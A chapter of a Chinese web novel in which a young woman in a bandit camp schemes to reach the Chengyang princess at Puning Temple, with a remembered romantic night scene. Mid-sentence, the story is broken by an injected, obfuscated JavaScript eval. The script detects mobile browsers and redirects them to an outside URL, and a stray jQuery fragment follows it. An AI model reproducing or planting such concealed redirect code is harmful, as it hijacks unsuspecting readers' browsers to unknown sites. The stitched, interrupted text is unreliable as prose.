34. 第 34 章 普宁寺

作品:《炮灰女配误入隐藏剧本

    徐青茹这才从张大夫口中得知,二当家与栾佑前去拦截城阳王妃时扑了个空,二当家勃然大怒,一番细想后,认定是宋又新和张大夫故意泄露,但张大夫摇了摇,神色间颇有不屑:“我们又不嫌钱少,怎么会做出这等自毁长城的蠢事?”


    少女皱了下眉,有理虽是有理,可不是他们做的,但这件事,也与她无关系。......徐青茹眼中眸光微闪,难道是......


    她按捺住心中想法,只说,那是原小说“男主”,自然更为聪慧过人,料到这种事,也是必然。


    回到还明院时,知秋早已备好了午膳,二菜一汤整齐地摆在榆木桌上,还冒着热气。见她进门,知秋忙迎上前,道:“刚刚二当家派人来了,说是让您午后申时去找她一趟。”


    徐青茹颔首,“知道了。”她神色如常去一旁净手,随后在桌前坐下,安静地吃着饭。


    少女夹了一筷子清炒时蔬,忽然想起什么似的,问道:“老夫人那边的药还够吗?若是不够,我明日再配些。”


    知秋替她盛了碗山药排骨汤,思忖道:“约莫还能用上十来天。不过......”她犹豫了一下,还是道,“昨儿个听那边的人说,老夫人又咳嗽了......”


    瓷勺碰在碗沿上发出清脆的声响,徐青茹动作一顿,轻声道:"你在老夫人身边伺候得久,得空多去看看她。"


    “是,四当家。”知秋应着,忽然叹了口气,"其实奴婢前年才来杏花寨,并非老夫人常伴之人。伺候老夫人最久的是位姓周的嬷嬷,跟了老夫人二十多年。"她的声音渐渐沉了下去,略带伤感,“可去年腊月里,周嬷嬷染了风寒,没熬过去......老夫人为此担忧难过,夜夜流泪,如今屋子里还供着周嬷嬷的牌位呢。”


    窗外一阵微风吹过,吹得院中的杏树沙沙作响。


    徐青茹望着飘落在窗棂上的粉色花瓣,神色顿了顿:“生离死别,最是哀伤。”说罢,她搁下碗筷,看向知秋,柔声道,“明日后日我身子好些了,便去给老夫人请安,顺便看看病情状况。你且先备些安神的香囊带去。”


    “是。”知秋点点头,“奴婢省得了。”


    -


    申时,二当家房内。


    罗斩秋开门见山,嘴角带着一丝似笑非笑:“是你杀了张皮子?”


    徐青茹一怔,随即恢复平静,宋又新果然把她供出来了。


    “确是我杀。”少女抬起头,目光不闪不避。


    罗斩秋冷笑了下,“虽然是宋又新说的,但当时只怕有脑子的人,都能猜出是你所为,大家不说,也不过是卖了宋又新一个面子。”


    听到这话,少女抿了下唇,微微一笑:“那时尚还年轻,做事考虑不周。”说罢,她微微抬眸,神色略有严肃,“我杀张皮子,不为其他,只是他当时欲羞辱于我,这才迫不得已。”


    “哦,是吗?”女人打量着她,忽道,“其实这件事,我应该褒奖于你。”


    少女神色中闪过一丝疑惑,“这是?”


    “那张皮子是宋又新的人,他贪欲极重,曾威胁过宋又新不给他找女人,就把他暗地里的筹谋都抖落出去,所以,宋又新才设计那一场事故,使得张皮子有机可乘。”罗斩秋轻笑一声,眼中透露出一分嘲讽,“你杀了张皮子,正好给他解决了一个心腹大患,他高兴还来不及呢。”


    “原来是这般......”徐青茹神色一愣,忽地想到原书剧情中描写到,那些被杀的女子身上有过被奸-淫的痕迹,难不成,这些都是宋又新和张皮子的手笔?!少女神情陡然变冷,扯了扯嘴角,“这人,确实是死不足惜。”


    罗斩秋笑了下,话题一转,声音轻缓但带着不容回避的压迫:“听闻你曾是汉林富商千金的女儿?”


    徐青茹指尖微微一顿,沉默片刻后点点头,神色有些默然,“家父从商,不久前忽然离世,我这才想着从汉林前往云州,投奔亲戚。”


    女人眯了眯眼,似是在思索她话中真假,半响,她才继续道:“你在云州的亲戚是谁?”


    少女略微思索片刻,眼中闪过一丝谨慎:“是云州傅家。”


    “傅家?”罗斩秋唇角微勾,眼底划过一丝意味深长的笑意,“有意思。”


    徐青茹脸色微变,她虽然想出寨,但若真按罗斩秋所言行事,杏花寨必会以她为匪杀人的把柄拿捏住她,更何况,一个无依无靠的"穷亲戚",在傅家又能争取到什么好待遇?


    她很快收敛情绪,神色恢复如常,抬眸直视罗斩秋:"二当家,这个法子,恐怕不行。"她语气平静,却字字清晰,"傅家未必会真心助我,而我若贸然接近城阳王府,反倒容易打草惊蛇。"


    罗斩秋眼中冷意一闪而逝,随即又笑了声,语气轻飘飘的:"开个玩笑,四当家。"她指尖轻轻点了点桌面,似笑非笑,"不过,你有没有什么好法子可以接近城阳王府的人呢?"


    徐青茹眸光微动,忽而唇角微扬,露出一抹浅淡的笑意:"作为大夫,可好?"


    女人挑眉:"哦?"


    少女不疾不徐地解释道:"城阳王府虽戒备森严,但府中女眷、仆役总有头疼脑热之时。若我能以医术入府,既不引人注目,又能探听消息。"她顿了顿,又补充道,"更何况,医者仁心,他们不会轻易起疑。"


    罗斩秋盯着她看了片刻,忽而低笑出声:"这个法子不错,那四当家便试试看。"


    *


    晴日,普宁寺。


    普宁寺坐落于云州郊外一个名为“红坛”的山头上。


    这座山头陡峭高耸,上山路途艰辛,以前香客都不愿前来,故而此庙常常人烟稀少,只有庙会时才会热闹一些。


    然而,二十多年前,一位法号“明觉”的得道高僧忽隐居于此,传说他能窥天机、断祸福,是真正地超脱了红尘世俗。当年的令妃娘娘——如今的太后,听闻此事,不顾宫人劝阻,自请出宫,跋涉至云州,只为替当时缠绵病榻的皇帝求一线生机。


    山脚至寺庙的石阶共九百六十三级,高僧言:“需一步一叩,心诚则灵。”令妃未露半分犹豫,褪去华服珠钗,素衣散发,自山脚起,一阶一拜,生生跪了一天一夜,直至次日破晓,她终于叩至山门,卸下最后一口喘气,昏厥过去。


    寺中僧人慌忙将她抬入禅房,细心照料,而就在当日傍晚,京中快马来报——皇帝已呕出淤血,病情有所好转。


    寺庙之人纷纷感慨到,此乃令妃娘娘的功德。


    明觉同被令妃心意所感,特破例赠予其灵丹妙药一枚,说是可治百病,延年益寿,令妃受宠若惊,感恩收下。此事传回宫中,龙颜大悦,令妃晋封皇贵妃,普宁寺御赐金匾,一时间香火鼎盛至极。


    然而好景不长,某年深秋,寺中一夜之间闭门谢客,无人可进。有樵夫称曾听见庙内钟声自鸣,如泣如诉。此后数年,山门紧锁,唯闻风声过隙,偶有乌鸦立于飞檐,叫声凄厉。


    世人皆说是因明觉大师离去,被镇压的鬼祟纷纷出来,作乱红坛山,迫使寺庙关门送人。


    直到近年某日,寺门重开,一切又再次欣欣向荣,灵验不断。不过,若有人问起当年之事,寺庙中的沙弥便会神色顿变,劝诫到,“施主安好,切莫过问旧事,否则沾染厄运。”


    大多数人听到这般话语,便不敢再问,只将其疑问深藏于心。


    徐青茹身着浅棕色的飘纱长衣,腰间系着一条素色丝绦,此外,她还带着一顶帷帽,薄如蝉翼的纱帘垂至肩头,隐约透出少女清丽的轮廓。


    身旁跟着的少年约莫十七八岁,一身灰蓝色粗布衣裳,袖口和衣摆处沾了些许尘土,似是赶了远路。他手中提着一个陈旧的木质药箱,箱角磨损得发亮,显然有些年头了。少年眉眼低垂,神色恭谨,但偶尔抬头看向少女时,隐现出几分温柔。


    二人步入普宁寺山门,便见香烟缭绕,梵音袅袅,寺中僧人手持念珠,低声诵经,往来香客或跪拜祈福,或静立沉思,处处透着一片庄重安宁。


    然而,此刻的寺庙却比往日热闹许多,主殿的台阶两侧站着数名身着锦袍的侍卫,他们腰间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363808|160924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    佩刀,目光如鹰隼般扫视四周。而里间,一身华服的王妃正在跪拜,数名侍女簇拥在旁,手捧香炉、拂尘,静候差遣。


    ——城阳王妃此次前来,阵仗极大。


    山寨在得知,城王阳妃再次拜访普宁寺时会派遣重兵把守的消息后,也不得不暂时停止了前往拦截的想法,而让徐青茹假扮医女,十九扮装药童,以看诊的名义,看能否有机会借此接近王妃。


    徐青茹微低着头,帷帽下的唇角微微抿起,她心中闪过一丝疑惑,王妃近日以来多次拜访,究竟所为何故?


    少女忽地响起来昨日栾佑夜访她房间的情形。


    夜色浓稠如墨,她因思虑过重辗转难眠,索性披衣起身,倚在窗边望着院中那一排排的杏花树。夜风掠过,花瓣簌簌而落,零散地飘在石板上,随后又被浪风裹挟着,最终碾入尘土。


    她盯着那残败的花瓣,冷笑一声,眼底却浮起一丝自嘲般的寂寥。


    “何事令你如此忧愁?”一道清润的嗓音蓦然响起,带来一丝夜露的凉意。


    徐青茹侧首,便见栾佑半隐在廊下的阴影里,身姿欣长。


    月光只映照出他半边轮廓,高挺的鼻梁,微抿的薄唇,还有那双乌黑如玉的丹凤眼。


    徐青茹一顿,神色微变,“你胆子怎么这么大?知秋不是桂月,她不会对你来之事睁一只眼闭一只眼。若被她发现了,老夫人那可不知要如何说起。”话到最后,少女的语气明显带着嘲讽。


    栾佑却不以为然,反而笑了下,朝窗前迈了半步:“若你现在不让我进去,她倒真要被吵醒了。”


    她安静地看他了几眼,随后伸手将窗棂彻底推开,纱袖滑落,露出一截皓腕:“进吧。”


    “嗒”的一声轻响,少年利落地翻进屋内,衣袂带起少许微凉的风。


    “你找我,到底所为何事?”她微微仰头,唇角勾起一抹似笑非笑的弧度,“总不可能……是郎君你想我了吧?”


    “是又如何?”


    他突然向前逼近一步,身上那股介于少年与男人之间的气息骤然侵袭而来,清冽中带着一丝危险的侵略性。


    徐青茹眸光一闪,非但不退,反而迎着他上前半步,仰起的脸庞在月光下莹白如玉,只是眉梢处却带着一丝挑衅:“好啊,正好我今夜无趣得很。”


    他愿意过来陪她解解闷,又何不好?


    终究是他败下阵来,少年后退一步,撇过头,脸色微红。


    半响,他的声音响起,带着一丝不自然的紧绷,“你知道城阳王妃为何要去普宁寺吗?”


    徐青茹一顿,虽不知他为何突然转到这个话题,但她还是顺着思索起来:“去寺庙无非是为家人祈福,求子,求姻缘,求事业......对于城阳王妃,应是前两者。”


    栾佑点了点头,脸上的潮红已褪去少许,“有可靠消息,城阳王妃应该是去求子。”


    “求子?”她蹙了蹙眉,城阳王都有个那么大的儿子了,城阳王妃还要求子吗?


    似乎看出她的疑惑,栾佑解释道:"城阳王妃并非世子生母。世子生母十年前就已去世,现王妃嫁入王府多年,但膝下仅有一个女儿。"


    徐青茹眼中闪过一丝了然,“原来如此。”果然是想求一个儿子......她顿了顿,抬眸,直直望进他眼底,声音轻缓而又带着一丝蛊意,“所以,郎君特意过来,就为了告诉我这个消息?”


    栾佑神色淡然,但又弯了弯眉,含了丝笑意,“你可以这么理解。”


    少女神色一顿,心中忽地涌过一丝莫名的喜悦,她抿了下唇,蓦然踮起脚尖,扶住他的肩膀,轻吻了上去。


    他微愣,但很快便扣住她的脑勺,加深了这个吻。


    ......只有在情爱里,他们才愿意真正释放自己,可笑又可悲。


    回忆至此,徐青茹看了身旁的少年,轻声道,“十九,待会儿你不要说话,听我的吩咐就好。记得,叫我师傅便可。”


    十九点点头,神色认真:“徐姐姐,不,师傅,你放心。”